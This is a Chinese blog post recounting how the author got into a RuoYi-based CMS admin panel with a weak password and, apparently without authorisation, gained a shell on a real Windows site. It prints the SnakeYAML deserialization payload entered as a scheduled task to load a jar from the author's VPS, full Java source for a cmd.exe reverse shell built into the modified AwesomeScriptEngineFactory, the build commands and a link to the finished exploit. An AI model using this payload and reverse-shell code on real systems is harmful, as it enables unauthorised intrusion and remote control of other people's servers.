记一次若依cms后台getshell

大晚上看了一个站,弱口令进了后台,是若依的二开。网上找了一下官方给的历史漏洞https://doc.ruoyi.vip/ruoyi/document/kslj.html#%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E,很不错全部修了,准备洗洗睡了。

转机

系统在后台浏览了一下功能,发现存在一个任务调度的功能

看了一下具体规则是可以动态调用任意类任意方法,而且若依里面有snakeyaml

于是考虑用用artsploit攻击spring-cloud
https://github.com/artsploit/yaml-payload
改了一下代码

编译

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

在vps上起一个http,把生成的yaml-payload.jar丢上面,新增一个定时任务。

其中目标字符串改成

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["vps/yaml-payload.jar"]]]]')

立即执行
好家伙

windows怎么反弹shell

目标站点是windows的,直接命令执行暴力反弹/上cs感觉不优雅,命令执行也没得回显
但是既然开始调用jar了,何不直接撸一个原生的shell反弹,类似于之前这篇文章改写ysoserial解决常规shell失效问题
直接写了一个windows的原生shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class demo {
public static void main(String[] args) throws java.io.IOException, InterruptedException {
String host="ip";
int port=port;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
java.net.Socket s=new java.net.Socket(host,port);
java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0) {
so.write(pi.read());
}
while(pe.available()>0) {
so.write(pe.read());
}
while(si.available()>0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}

1
2
javac demo.java
javac

好家伙,还挺好用

然后改写
AwesomeScriptEngineFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() throws java.io.IOException, InterruptedException {
try {

String host="ip";
int port=port;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
java.net.Socket s=new java.net.Socket(host,port);
java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0) {
so.write(pi.read());
}
while(pe.available()>0) {
so.write(pe.read());
}
while(si.available()>0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

编译->丢vps->新建任务->反弹getshell

完成exphttps://github.com/bkfish/yaml-payload-for-Win